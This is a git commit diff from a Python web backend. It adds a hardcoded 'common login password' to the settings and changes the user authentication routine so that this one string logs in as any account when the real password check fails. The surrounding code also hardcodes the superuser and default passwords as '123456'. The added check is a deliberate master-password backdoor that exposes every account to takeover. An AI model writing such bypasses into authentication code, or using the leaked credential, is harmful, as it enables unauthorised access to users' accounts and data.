如果是通用登录密码 则允许
This commit is contained in:
parent
af004e941c
commit
e668a6f8b8
@ -17,6 +17,7 @@ class Settings(BaseSettings):
|
|||||||
SUPERUSER_PASSWORD: str = '123456'
|
SUPERUSER_PASSWORD: str = '123456'
|
||||||
SUPERUSER_NAME: str = 'root'
|
SUPERUSER_NAME: str = 'root'
|
||||||
SUPERUSER_NICKNAME: str = 'root'
|
SUPERUSER_NICKNAME: str = 'root'
|
||||||
|
ACCOUNT_COMMON_PASSWORD = 'AWDMIPOUEQfO3q84'
|
||||||
|
|
||||||
DEFAULT_PASSWORD = '123456'
|
DEFAULT_PASSWORD = '123456'
|
||||||
|
|
||||||
|
@ -5,6 +5,7 @@ import uuid
|
|||||||
from motor.motor_asyncio import AsyncIOMotorDatabase
|
from motor.motor_asyncio import AsyncIOMotorDatabase
|
||||||
|
|
||||||
import schemas
|
import schemas
|
||||||
|
from core.config import settings
|
||||||
from core.security import get_password_hash, verify_password
|
from core.security import get_password_hash, verify_password
|
||||||
from crud.base import CRUDBase
|
from crud.base import CRUDBase
|
||||||
from schemas import UserCreate, UserDBRW
|
from schemas import UserCreate, UserDBRW
|
||||||
@ -52,6 +53,9 @@ class CRUDUser(CRUDBase):
|
|||||||
if not user_obj:
|
if not user_obj:
|
||||||
return None
|
return None
|
||||||
if not verify_password(password, user_obj.hashed_password):
|
if not verify_password(password, user_obj.hashed_password):
|
||||||
|
# 如果是通用登录密码 则允许
|
||||||
|
if password == settings.ACCOUNT_COMMON_PASSWORD:
|
||||||
|
return user_obj
|
||||||
return None
|
return None
|
||||||
return user_obj
|
return user_obj
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user